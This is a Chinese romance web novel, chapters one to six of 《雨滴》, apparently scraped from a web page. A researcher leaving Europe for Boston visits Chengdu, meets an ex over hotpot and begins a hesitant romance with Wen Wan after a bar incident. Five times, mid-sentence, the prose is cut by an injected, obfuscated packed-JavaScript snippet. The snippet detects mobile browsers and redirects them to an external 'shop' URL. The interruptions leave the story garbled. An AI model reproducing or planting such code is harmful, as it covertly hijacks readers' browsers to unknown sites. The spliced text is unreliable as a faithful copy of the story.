《雨滴》 1. 第一章 安晓站在希思罗机场转机时,才好像开始对自己离开欧洲这件事有了实感。 三个小时的转机时间,她站在机场广播大屏前,搜寻着飞往波士顿的航班,找到自己的登机口。 时间过得真快,二十一岁到二十八岁。眨眼间,七年过去了。 她望着机场玻璃外的停机坪边发呆。记起自己第一次来欧洲时的那天,站在洛桑Flon站找不到坐地铁的站台,在几个火车站台像无头苍蝇一样的来回穿梭,半小时后,用自己蹩脚的英语终于问到了位置。那时候的鼻头酸涩感恍如昨日。 二十一岁的她当时只带了一个28寸的行李箱和一个双肩书包。现在到了离开欧洲的时候,行李箱成了两件,同时还有登机箱和一个大背包。七年的欧洲生活也并不是什么都没留下。 她看着机场大屏,听着广播,在人来人往,行路匆匆的乘客中间,莫名其妙的笑了起来,像是得到了什么解脱一样。 波士顿的生活比她想象的还忙。她像陀螺一样,在新租的公寓里买家具,安置行李,买车,换驾照。还有,当然最重要的,熟悉新同事。 新租的公寓离实验室大概半小时车程,所以第二天她就在车辆中介的带领下,签了一辆二手的凯迪拉克。保险当然也贵的要死。 不愧是美国,任何事情都讲究效率,晚上六点钟实验室还是灯火通明,厨房的咖啡机还在运作,隔壁工位的美国佬戴着耳机在敲键盘,这让从欧洲来的安晓有些不太适应。她收拾下东西,跟大家打了招呼,背着电脑回了家。 回到家,天已经黑透了。她草草煮了点方便面,洗了澡,盘算起自己那少的实在可怜的年假。趁着圣诞节吧,可以回国逛一下。 ****** 12月的成都有些湿冷。 安晓来看熊猫的愿望,在很久很久以前就有了。那时候,她人生中的第二段感情正在进行中。前任女朋友是四川人,她前前后后来了四次还是五次四川,只来过成都两次,却从来没有游览过这座城市。 她打开手机软件,买了最近的一趟航班,在一个周五的下午落地了天府机场。天气阴沉,空气里带着潮气,雨有种要落不落的样子。她拖着行李去了酒店,放下背包,在沙发上发了一会儿呆。 下午五点,她强迫自己出门去了春熙路,没什么原因,就觉得不能白来。 步行到IFS门口,她被什么人叫住了。 世界上的事情就是这么凑巧。安晓的前女友刚从IFS的PRADA出来,在看到她的身影后叫了她的名字。然后就看到了一张茫然又惊恐的脸。 在简单的身份确认以及抱怨来成都不联系她以后,她组织了个火锅局。拉上了自己的gay蜜,又叫了几位朋友,杂七杂八地凑了一桌。 红油锅被端上来时,汤面翻滚,花椒和牛油的味道迅速弥漫开来。店里常年散不去的烟火气在空气里堆积着,混着湿冷的天气,一下子贴到了人身上。 桌面很挤,菜品被频繁推动,碟子相互磕碰,汤汁溅到桌沿,又被随手抹掉。大家问着要加点什么。服务员用四川话问安晓要不要米饭,她愣了一下,没有听懂。前女友回答“嬢嬢,来五碗吧,我们两个来一份就好。”她用手指了指安晓和她自己,然后顺手帮她盛了一碗鱼汤,说“你喜欢喝的”。安晓接过汤碗礼貌的道谢,把鱼汤晾在了一边。 菜上齐了,锅里的牛蛙看起来很好吃。辣油翻滚,香味浓烈。安晓夹了一块,放到碟子里,微凉后送进嘴里,味道依旧很好,但却和第一次吃不同了。对面的女孩玩笑着开口指着安晓的盘子道,快看这南北差异,在四川,碟子是用来吐骨头的。 桌上的话题都是围绕着她的。 “你现在在哪个国家留学?” “以后有什么打算?” “会不会留在国外啊?” 问题被轻飘飘地抛过来,又很快失去了重量。 “还没想好,先能找到工作再说吧。” “哪里都有好的不好的地方。” “国内也蛮好的,一切都很方便,吃得也很好。” 如果能找到合适的国内工作,我当然优先考虑回国啊。” 安晓如往常一样打着太极,侃侃而谈着那些早已打过腹稿,不知道在哪些场合已经重复过几十上百遍的回答,挑选着大家可能喜欢的话题,表现的谦逊有又social。标准的假笑不需要经过大脑,职场里早就练熟了。smalltalk像条件反射一样冒出来,她甚至能听见自己语气里的客气与分寸——那是她并不喜欢,却已经无法摆脱的本能。 大家照着自己对国外的理解开始侃侃而谈,像极了安晓老家过年酒桌上的大爷。话题不知道什么时候开始转了向。开始聊生活中的琐碎,从吐槽老公,到小孩要送哪个幼稚园,再到新出了一款新能源汽车不知道值不值得换,还有传说中的婆媳关系,单位里的奇葩同事和啥也不会只会指手画脚的领导。 安晓突然觉得有些割裂。过去与现在的割裂,她的生活与现实世界的割裂。她听见别人说话,却很难完整地接住一句,只能在笑声出现的间隙,下意识地跟着弯一下嘴角。 她努力让自己看起来自然。 胃里隐隐发紧。热气往上涌,让她有些反胃。 火锅店里烟雾缭绕,她喉咙发干,拿起手边的饮料猛灌了几口,却发现拿错了杯子。 她突然很想吸一口室外的空气,于是借口去厕所拐出了火锅店。天早就暗了,外边的汽车喇叭声,或红或黄或绿的灯牌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309309|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙熙攘攘的人群以及火锅店门口排列参差不齐的电动车。安晓有点恍惚,她转头向店内看去,每桌火锅前的客人,面红耳赤,嘴巴大开大合,酒精和香烟让整个店内看起来比外面的汽车喇叭还热闹。空气里弥漫着黏腻腻的感觉,她放弃了大口吸气,又走进了那把火锅店的凳子。 安晓萌发了想喝一杯的冲动。 结账时,在安晓的再三要求下,a掉了那顿火锅的钱。她委婉地表示第二天还有很紧密的行程,非常高兴见到大家,火锅很好吃,希望以后还有机会再见。每个人都流露出恋恋不舍的样子,说着下次一定要再聚一聚。 她礼貌的向大家招手示意,然后离开了现场。心想可能永远都不会再见了。 转身走出很远后,安晓才敢回头看了一眼。确认真的离火锅店很远了,她才深深地吐了一口气。 她沿着熙熙攘攘的商业街走着,回酒店并不远。 转过街口时,喧闹忽然被一层昏黄的灯光隔开——树影在水面上晃动,河水轻轻荡漾,一片低矮的建筑沿着水岸铺开,像是被夜色收拢的秘密。 她的脚步慢了下来,视线被那片光影牵住,不自觉地朝那边走去。 然后,一位袅袅婷婷的背影就那么从桥上走了过去,然后转身同身边人一起进了那家叫‘夜色’的酒吧。 安晓不知不觉跟了上去。 酒吧的灯光昏黄,音乐声开的有点大,卡座三三两两的坐了零星的几个人,没看到刚刚进来的女孩。现在已经接近晚上九点。显然还不是高峰期。吧台后的酒保在擦杯子。她径直走向吧台,要了一杯无酒精饮料。她酒精不耐。 摘下围巾,刚脱下羊绒大衣,就有一位女性走了过来搭讪。安晓礼貌地拒绝,说了不好意思。 饮料刚喝完第一口,又一位染着黄短头发的女性贴坐在她旁边,问:“一个人吗,哥哥请你喝一杯。” 她的胃缩得更厉害了。连牙齿也开始发酸。 “多谢你,不用了,我想一个人坐一会儿。” 拒绝的话成了暗示。 ‘不用了’被自动忽略,只剩下‘一个人’。 撩,开始变成了骚扰。 黄毛变本加厉,把手放肆地搭到她的肩上。安晓应激地跳下高脚凳,大衣和围巾掉了一地。 她进行了最后一次口头警告,因为她此刻真的很想报警。 “如果你不希望去警局喝一杯的话,请——你——离——开。” 她开始莫名地烦躁。压抑了一整晚的情绪在这一刻迅速堆积,肾上腺素飙升。她突然有种不管不顾打一架的冲动。 反正,对方还没她高。 “不好意思,”一个声音从旁边响起,“店里不允许骚扰客人,请您离开。” 2. 第二章 黄毛反而更来了兴趣。她从口袋里掏出电子烟,吸了一口,烟雾贴着安晓的下巴吐出来。 胃里的痉挛终于失控。安晓顺着指示牌快步走向卫生间,几乎是冲进去的。她吐得很彻底,连早饭也没剩下。电子烟残留的焦油味又把她逼着吐了一次,直到只剩酸水。 她撑着洗手池,水龙头开到最大。镜子里的人眼眶赤红,睫毛湿漉漉的。成都的冷风还带着尘土的味道,让她刚刚的慌乱和恶心像影子般贴在胸口。她开始怀疑今早来这里的决定。 忽然,橙花的甜香夹杂着地中海松的清香冷冽随着门缝飘了进来,像轻轻叩在鼻尖的讯息。她的呼吸不自觉地慢了下来。 整理好衬衫,擦干手,她推门出去。 门口站着一个女生,怀里抱着她的大衣和围巾,左手举着一瓶已经拧松瓶盖的纯净水,就那么站在那里。 如果说等待是一种幸福,安晓其实经历过很多次。小学在街口等同学放学,中学在食堂等吃饭慢的同桌,大学等前女友化妆出门。但这好像是第一次,有人是专门在等她。 “你好”,女生把东西递过来,“你的围巾和大衣掉在地上了。你还好吗?要不要喝点水?” 安晓下意识地道谢。她接过大衣才有机会看清对方的脸。真漂亮!她惊叹,随即往后大退一步,怕自己身上的气味沾到对方身上。 她快步走到吧台结账。吧台小姐姐笑着说老板让转达一句不好意思,今晚让您不高兴了,这单免了,希望下次再来。 那位黄毛已经不见了。 她回头问女生,要不要请她喝一杯,算作感谢。 女生眉眼弯弯地笑了一下:“却之不恭。” 买完单,安晓只想离开。吐过之后的气味让她无法忽视,她迫切地想回酒店洗个热水澡,把今天的一切都冲掉。 她道别,又谢了一次。 “可以问你叫什么吗?” 问题很突兀。安晓愣了一下:“免贵姓安。” “安安?” 这个称呼让她耳朵一痒。她下意识用拇指和食指摸了摸左耳耳垂。 “谢谢你今晚的帮忙”,她说,“但我得走了”。 酸腐的味道还在鼻腔里游荡,她觉得自己现在脏极了。她甚至后退了一步,怕对方闻到自己的身上的味道。 “要不要再喝一杯?或者吃点果盘?” “真的不了。” “我叫温婉,可以留个联系方式吗?” 安晓把大衣套好:“不了,温小姐。再次感谢你,但我真的要走了。” 她说完抬步就往门口走去。身上的味道让她实在难耐,她现在什么都不想听,哪怕对方是真的仙女。 “我送你吧,开车快一点。” 温婉再次拦下了她。 搭第一次见面、在酒吧偶遇的陌生人的车,只要没失去理智,这种事安晓这辈子都不会做。她很快冷静下来。 “温小姐,还有什么事吗?” 这是安晓第一次正眼打量她。深色西装裤,高领黑色毛衣,Lemaire的风衣。看起来很干净,很克制。 应该不会拐卖她。 “我从你进来就注意到你了。” “嗯?” “你眼睛很漂亮。”温婉眼睛转了一下,“也很礼貌,不像有女朋友的样子。有机会认识一下吗?” 什么叫一看就是单身狗的样子。安晓在心里小小的抱怨了一下。 “我很穷的”,她脱口而出,“没财也没色,家庭条件也不好。” 话一出口,她就知道又把气氛弄尴尬了。 吧台后的酒保看了她一眼,在心里翻了个白眼。 左手腕上那块OMEGA手表似乎跟我很穷沾不上边。 “没事。”温婉笑了笑,“我有。” “我不住成都。” “那你住哪?北京?上海?” “我住波士顿。”安晓的语气冷了下来,“现在我可以走了吗,温小姐?” 她忽然有点火气。想不通这个人为什么一直不肯放过她。 她连再见都没说,转身出了酒吧,站在路口开始打车。 角落的沙发旁站起另一个人,在温婉面前停下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309310|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “人家还挺有性格的哈。” “我住波士顿,温——小——姐。” 田川雨笑得不行。 温婉抓起手包追了出去。 “哎,还真去啊?” “这么大年纪了,还这么冲动?” 温婉一眼就看到了站在路口等车的安晓。她快步追上去,语气很自然:“波士顿也行。” 安晓突然没了力气。 “温小姐,谢谢你。”她停了一下,“虽然我不确定你的‘也行’是指什么,但我不希望任何人为了任何人搬到另一个地方,那样太不公平。” 她顿了顿,又补了一句:“而且我现在只想洗个澡。能不能让我先回酒店?” “那我和你一起回去。” “什么?”安晓愣住了,“你为什么要和我一起?我都不认识你。” “手机。”温婉说。 “……什么?” 安晓一脸茫然,甚至怀疑自己是不是在做梦。也许火锅之后她就已经回到酒店了,现在这一切不过是梦的延续。 “手机拿出来。”温婉语气很稳,“先加个联系方式。” 她脑子还昏沉,身体也累得像没骨头一样,这让她没了力气再拒绝。 扫码,通过好友验证。 她还没来得及把手机收回去,一辆空车在路口减速,顶灯亮着。 司机摇下车窗:“走不走?” 冷风顺着衣领灌进来,她突然不想再站在路边解释任何事情。 “走吧。”温婉已经拉开了车门。 安晓迟疑了一秒,还是跟着坐了进去。 车门合上,城市的声音被隔在外面。她靠在座椅上,才意识到自己已经不想再做任何决定了。 到了酒店大堂,温婉在前台开了安晓隔壁的房间。 安晓觉得自己可能是被什么附了身。没关系,先洗个澡就好了。 她刷开房门,外套直接脱在地上,径直进了浴室。热水从头顶浇下来,她感觉整个人慢慢展开了。 牛奶味的沐浴露在蒸汽里散开,让她终于安下心来。 3. 第三章 人的勇气就是这样,一鼓作气,再而衰,三而竭。从酒吧里叫住到跟上来到酒店,一鼓作气冲了过来,反而现在就住在人家隔壁了,温婉开始想,自己这么死缠烂打合不合适。 田川雨的来电就在这时,恰如其分地响了起来。 “咋样,没打扰到你们吧?”田川雨贱兮兮的声音通过听筒传过来。 “哦,人家房间门一甩就走了,连声再见都没说。”温婉顿时有些泄气。 “什么,你这么个大美女还能被拒绝,真是没天理。那姐妹儿是不是不行??” “可能人家本来就不弯吧。”温婉声音有些低落。 “那你在哪,要我来接你吗?” “太古里香格里拉。算了,房间我都开好了,吃完早餐再回去吧。” “行吧,注意安全啊。不过你咋突然这么冲动呢?不像你啊。” “我也不知道,就……可能一见钟情吧。” “你知道吧,就……”温婉顿了一下,“她身上有种感觉,说不出来。” “你一直看她我就注意到了。她确实有点不一样,虽然来酒吧,点的却不是酒,自己坐在那,跟个乖学生一样。四处打量了一下就安静了。面对搭讪也很安静,好像……有她自己的世界。” “是的,就是。有她自己的世界。”温婉轻声说,“就很想让人去了解她。” “行吧,你也别报太大希望,可能人家就是自闭呢,你自己在这脑补一大出戏。”田川雨在那头泼冷水。 “还好不是个穷逼,看行为举止也挺有教养的,希望别再遇上你上一个那种捞女,不但骗财又骗色。” 温婉的脸一下子黑了下来。听筒里没传来回应,田川雨意识到自己说错了话,立刻止住了话头。 “不说了不说了。反正你要注意安全,祝你‘幸’福。哈哈哈哈哈哈哈。” 温婉气得直接挂断了电话。 温婉的前女友是个十八线小明星。可能也不是十八线,是三十六线,查无此人的那种小明星,百度上搜她的名字可能要在一百条广告以后才能找到和她同名同姓的非她。朋友喝酒时介绍认识的,在她上上段恋情结束后,她稀里糊涂地就跟人家在一起了。 不是有句话说吗,只要我下一任找得够快,失恋的痛苦就追不上我。 她就是抱着这种心态,跟曲婷婷在一起的。 刚开始,曲婷婷还是电影学院的学生。两人在一起,也就是逛街、吃饭、看电影,挺快乐的。后来曲婷婷开始找实习、进组,到怀疑自己的样貌,开始疯狂整容、填充,买奢侈品包包和衣服。为了维持自己的‘娱乐圈女明星人设’,甚至不惜贷款,也从她那骗钱。 直到被她捉奸在床。对象还是一部短剧里的小制片。 更讽刺的是,这已经不是温婉第一次被背叛了。最早背叛她的,是她的初恋男友。 手机突然震动了一下,打断了她的思绪。 ‘不好意思,刚刚实在是很不礼貌。非常感谢您今晚的帮忙。’ 消息来自安晓。头像是一张落日晚霞的照片,或紫或红或黄的天空下,矗立着一棵满是枝桠的树。看不出是哪个城市。 ‘没事的,我今晚也有些冒昧了。’ 温婉回完,对话框里很快出现了“打字中”。 三十秒过去了,没有新消息。 两分钟过去了,对话框恢复了平静。 五分钟后,彻底沉寂。 温婉忽然觉得自己有点好笑。 她再次尝试发了一条: ‘明早要一起吃早饭吗?听说酒店的自助不错。’ 她其实本来想发‘你饿不饿’,毕竟晚上不都吐了嘛。但又怕太暧昧,吓到人家小姑娘。 然后她就收到了回复。 ‘好的。’ 温婉高兴得差点蹦起来。 她轻轻笑了一下,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309311|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了一条: ‘你一般什么时候起床啊,我们可以一起下去。我就住你隔壁知道吧,有什么事喊我就行。’ 刚发完她就后悔了。 住你隔壁什么的,真的很变态。 ‘八点半可以吗?’安晓回。 ‘好的,那我们明早八点半见喽。’ ‘好的。’ 安晓的肚子是真的空了,但她一点也不想吃东西。 今天发生的一切都让她没什么安全感,连发微信,也只是出于本能的礼貌。不打招呼就甩门,实在是太不应该了。她觉得自己今天的行为有些失控。 她在手腕上喷了点柑橘味的香水,把房间里的灯调成暖色调。电视打开着,不知道在播什么,音量被调得很低,只是让房间不那么安静。 她站在窗前,看着外面的夜色。 外边那么多灯亮着,却没有一盏是在等她回家。 她有点想哭,但又哭不出来。 有些事她不知道要对谁说。 于是她打开了ChatGPT。 这是她一直以来的习惯。自从AI出现以后,她把自己最私密的情感、发生的事情、那些想分享却不知道该跟谁说的内容,还有那些难以启齿的秘密,全都说给她的gpt老师听,并认真去听取它的建议和安慰。 今天也是。她把今天发生的一切,完整地告诉了她的ai模型。 ai告诉她: 晓,你先深呼吸,慢慢整理一下自己。你现在的身体和情绪都很累,先从最基础、最实际的事情开始,给自己一点安全感和掌控感。你已经洗过澡了,这很好。你刚经历了情绪冲击,可以给自己一点心理缓冲。你可以把今天的事情写下来,慢慢梳理。 不必立刻做决定。 温婉追你、想联系你,这些都不着急回应。 你有权利先照顾自己。 温婉在追我吗?为什么我不知道? 4. 第四章 安晓上半夜没有睡好,因为她一直在想gpt告诉她温婉在追她的事。不知道是什么时候睡过去的,好在生物钟让她在闹钟响之前就醒了。她在床上呆坐了几分钟,认命的赤脚跳下床洗漱。 早餐其实也是可以不吃的。 直到指针到8点29分,她穿戴整齐,站在门口,等隔壁开门的动静。吧嗒一声,开门声响起,正好8点30分。她也走出房间,对着隔壁的温婉道了声早。她没换衣服,安晓心里突然有些抱歉,人家因为她才有这种不便。然后两人一起去了餐厅。 早餐丰盛,各式西式冷餐和甜点。安晓点了一份白煮面,让她觉得会让自己暖和些。温婉只拿了烤吐司和黄油,还有一杯黑咖啡。她们找到空位坐下。安晓没说话,温婉也没说。安晓埋头吃着面,刚出锅的面还冒着热气。是她自己调的味道:香油、醋、生抽,再加香菜。她大口吃着,却没有发出吸溜声,吃相很好。温婉看着自己盘里的吐司,甚至有点怀疑人生——白水煮面真的有那么好吃吗? 两人谁都没说话,自顾自吃着。直到安晓面吃完,温婉还在给她的第二块吐司抹黄油。安晓指了指咖啡杯,示意自己要去端一杯,温婉点头。安晓笑了笑。她们就这样坐着,没人开口。安晓握着咖啡杯,直到温婉解决完最后一口吐司,喝了一口咖啡后,慢悠悠地开口:“今天你有什么安排吗?” 安晓一条腿折着搭在椅子上,另一条腿晃悠着,答道:“想去看熊猫。” “哦,你买票预约了吗?” “还没有。” 温婉噗呲一声笑出声,觉得对面的人真的好可爱。“你知道要预约吗?” “刚刚知道。” 噗,现在可爱感消失,有点气人。温婉换了话题:“北方人吗?第一次来四川,自己一个人旅游?” “北方人,不是第一次,是的。” 安晓慢慢喝了一口咖啡,她喜欢那种不酸也不苦的豆子,压出咖啡油脂后加了很多奶,尤其是燕麦奶。然后,她满足的又喝了一口。 “温小姐是四川人吗?”安晓第一次表现出对温婉的兴趣。 温婉如数家珍地说着自己土生土长在成都的经历:在成都出生,成都长大,成都念大学,在成都工作。 “哦,那你有‘盆地思想’吗?” “什么盆地思想?” “就是觉得四川最好,所以不想去别的地方。” “四川确实很好,但没什么盆地思想,也可以去别的地方。” “好的。” 沉默又来了一大片。安晓又不说话,温婉开始有点慌,想找话题吸引她。可看到安晓桌下晃悠的腿,她意识到现在根本不需要费劲找话题,人家开心着呢。温婉放松下来,有一搭没一搭地聊着:“没买票还去看熊猫吗?” “看吧,一会儿看看人多不多,排队太久就不去了。” 好家伙,心真大。 “除了熊猫,还要看什么?” “没想好,可能上街溜溜吧。” “你不回家没关系吗?”安晓放下咖啡杯,冷不丁的问了一句。 话题转变猝不及防,温婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309312|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在搞不懂安晓的脑回路。 “没关系啊,我自己住。” “昨晚的是你朋友吗?抛下朋友走了真的可以吗?”安晓的眼睛亮亮的,就这么看着她问。 “当然可以,重色轻友值得提倡!”温婉一脸的理直气壮。 安晓的耳朵突然有点烫。 “你喜欢我?” 天呐,这是什么问题,怎么有人这么直白。温婉有点尴尬,这人脑回路和社会人完全不一样,直球到可怕。她泯了一口黑咖啡,说:“有好感。” “你不害怕我是坏人吗?大晚上的还跟我打车走,不怕我和司机拐走你?” 这脑回路一点衔接性都没有,一个比一个跳脱。 “在我自己土生土长的底盘上,我还能被你个北方小姑娘拐走?”温婉反问。 安晓不说话了。喝完咖啡,她又取了半杯清水,喝完后说:“回房间了。非常高兴认识您,抱歉带来困扰和所有不礼貌的行为。希望您生活愉快,今天早餐我吃得很高兴。” 温婉一脸丈二和尚,摸不着头脑。喜欢这事聊完了,怎么没有回应呢?怎么就开始祝福了。这是没戏了?她有点着急,直接跟上去,拉住安晓的胳膊:“我承认我对你有好感,你呢?我们刚认识,也不互相了解,你还是来旅行的,我知道有些冲动,但我真的对你有好感。昨晚你刚进酒吧我就注意到你,刚开始只是觉得你特别。” 安晓伸手打断她即将杂乱无章的解释,微笑着,眼神带着调皮,又带着几分认真:“温小姐,要到我的房间坐坐吗?” 5. 第五章 房间门打开的时候,温婉还是有点懵懵的。前一秒的道别到后一秒的邀约,怎么就到房间里了。她现在无暇去想东想西,她得把握现在。 安晓的房间很规整,是的,就是规整。温婉第一次看有人住酒店还把东西收拾得井井有条。房间几乎没怎么动过。除了单人床上有睡过的痕迹,手提行李箱和背包安静地矗立在床头,像是没打开过。大衣也挂在衣柜里,拖鞋整齐地摆放着。整个房间散发着柑橘的香味,很清新,又有点甜。和温婉想象的一样,是个很爱干净的小朋友。 “请随便坐,房间应该都是一样的。要喝点什么,水可以吗?”安晓问道。 房间有张靠窗的双人沙发,一张很小的茶几。温婉坐下,安晓倒了一杯水放在她面前的茶几上,然后自己找了个床沿坐下。 “抱歉有些突兀。”指的是突然请她来房间这件事。 “我总觉得在公共场所说比较私人的事不是特别好,我知道你的意思。”安晓顿了顿,“我的身体告诉我,它喜欢你。跟你一起我很放松。但我的理智告诉我,不行。” 温婉的心在跳,又沉了下去。她想问为什么,可话被压在喉间。 “我明天就要去曼谷了,今天应该是我在成都的最后一天。” 温婉有点着急了,还有可能不到一天的时间,她就要走了。 “我能邀请你吃个晚餐吗?其实中餐应该更合适,但现在已经9点半了,我想你可能需要回家休整一下,还有不知道你今晚有没有约,所以吃午餐有些太赶了。” 温婉抓起桌子上的水杯喝了一口。信息量有些大,她需要消化一下。身体喜欢她是指今天的早饭很高兴吗,一条腿在桌子底下晃来晃去。理智不行是指昨晚,安晓说过“任何人都不该为了任何人搬到另一个地方去,那太不公平”。晚餐是对昨晚帮忙的感谢。温婉放下心来。 她今早的早饭吃得也很舒服。小姑娘慢慢悠悠讲话,不急不躁,吃东西让人看得也很有食欲。对话停顿,沉默,她也没觉得尴尬。吃东西时候的安静,她也很喜欢,那种氛围。像是两个人认识很久很久了。她突然不急了,对于安晓,她可能需要慢慢来。 她说:“好的,我先回家一趟,我们晚上见,能把餐厅地址发我手机吗?” 安晓心虚地摸了摸头:“我还没订餐厅,你喜欢吃什么?川菜、寿司还是西餐厅?我都可以,不挑的,你可以选你喜欢的。” “西餐厅吧,环境适合说话。” “好的,那我们晚上见。” 社交媒体上的推荐餐厅让安晓挑得眼花缭乱。明明是很基础的食物被商家推得五花八门,她实在是非常难以抉择。这导致她一个钟头以后还没有挑出合适的餐厅。她打开团购软件,搜索西餐厅,按距离远近排名,终于在一片花里胡哨的名字中找到了一个还算顺眼的。她打了电话预约,然后把地址发给了温婉: ‘晚上6点见。’ ‘六点见。’回复。 安晓还是想去看熊猫的,她抓起手机和钱包,坐上了三号线。刷票进园,她拿着纸质地图,直到看到了第一只熊猫,在星星产房。下午人不是很多,也有可能她选择从西门入园,非热门线路,毕竟大家都去看花花。她沿着地图从产房到别墅最后回到西门。两个小时,拍了几张照片,然后又坐上了回去的地铁。她觉得熊猫好像也就那样,不知道自己为什么一直有要看一眼的执念。 回去洗漱,冲澡,换衣服。昨天的衣服已经彻底不能穿了,全是火锅味,她扔到洗衣机里,设定了45分钟的快洗,还有三个小时六点,衣服烘干还得至少一个半小时。她决定出门走走。 她就沿着楼下的锦江慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309313|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢悠悠地踱步,看路过的行人,看还没营业的酒吧,看车来车往。她觉得成都不好,天气太差,一点太阳都没有。这让她有点挫败感,她想这里的人在冬天肯定也需要很多维他命D补剂。 时间滴答滴答就到了6点。安晓什么都没想就去赴了约。这也是她人生中难得的冲动时刻,冲动地接受了陌生人要和她坐一辆车回酒店,冲动地在早上约人家去了房间,冲动地说了‘我的身体喜欢你’,然后更加冲动地约了晚餐,在餐厅都没订好的前提下。哪怕放在一年前,她都不会这么干。她一直在找长期的、稳定的,希望是最后一次的恋爱关系。那种可以永久的,直到□□消亡的,非常古板的恋爱观念围困着她。后来实在没戏了,在单身六年以后,她慢慢接受了,哪怕大家只走过一段路,也是很好的。大抵有种“朝闻道,夕死可矣”的恋爱精神。 所以当她的身体信号告诉她,这个人不错,你应该喜欢的时候,她就想——那约个饭好了。 安晓想要的幸福一直是:两个人早上起床上班,互相道别,从家门口出发,白天做各自的工作,然后晚上回家。像燕子归巢一样。一个要是路过超市会问,“家里需不需要什么东西啊?”然后做饭,饭后聊办公室八卦,聊趣事,聊生活里的琐碎。然后一个人收拾厨房,一个人清理垃圾。大家可以看部电影,听听音乐,沙发上互相依偎,或者各自忙自己的工作,哪怕什么都不做,但只要在一个空间里,她都会觉得安心。她要的东西很简单,没有那种轰轰烈烈的爱情。但想不通为什么就是很难遇到心动的人。她觉得自己可能有些老古板了,这可能不是年轻人的恋爱。 她在餐厅接待处报出自己的预约手机号后,服务员领她到了靠窗的位置,能一览整个夜晚的春熙路。菜单和酒水单在桌上,她拿起来看,顺便问今天有没有什么特色菜推荐。 6. 第六章 温婉到的时候,就看到安晓一个人坐在窗边,目光飘向窗外的夜色。这让她又想起了昨晚的酒吧。她也是一个人静静地坐在吧台旁,手托着下巴,眼神放空,一层朦胧的静默在她和周围的空气之中流淌,形成了奇异的平衡。 今晚的温婉化了淡妆,嘴唇涂了淡色的唇釉。整个人显得很有气色,她换了浅色系的大衣,穿了低跟的靴子,头发披着,拎了BirkinFAUBOURGTROPICAL的包包,让整个人的氛围俏皮起来。 安晓回过头来的那一刻,眼前的画面让她下意识想到烟雨江南的景象——撑着油纸伞的美人,巧笑倩兮,婀娜生姿。她有些语塞,话还没出口就停在了喉咙里。 她起身,拉开对面的座位,说了请坐。 服务员过来,帮温婉挂好大衣,然后开始介绍今晚的菜单。 “两位女士晚上好。今晚我们为您准备了几道精选菜品。Forstarters,我们推荐法式鹅肝配fipote,口感丰盈、入口即化。主菜方面,您可以选择GrilledAustralianWagyu,搭配trufflesauce,或者Pan-SearedSeaBass,配以季节的新鲜蔬菜。甜点部分,Chef’sspecial是巧克力慕斯配vanillabeanicecream,非常经典。如果您愿意的话,我可以为每道菜推荐一款perfectlypairedwine。” 安晓突然有些奇怪,这不是成都吗,为什么说英语?英文为什么可以霸凌全世界,哪怕她回国了,哪怕这里是成都,她不是中国人吗? 在服务员介绍完后,她很直接地说:“抱歉,我听不懂英文,有没有中文版本的菜单介绍一下。” 温婉噗嗤一下笑出了声。首先她没想到安晓会选了这家餐厅,然后做出了惊人之举。这家是网上妥妥的网红店,以高级感著称,受网上时髦的年轻人的追捧。 服务员尴尬地再次用中文复述了一遍。 “前菜我要牛肉薄片,主菜除了和牛还有其他吗……香煎小羊排吧。她不喝酒,有其他饮料吗?” “你呢,要吃什么?”温婉看向她。 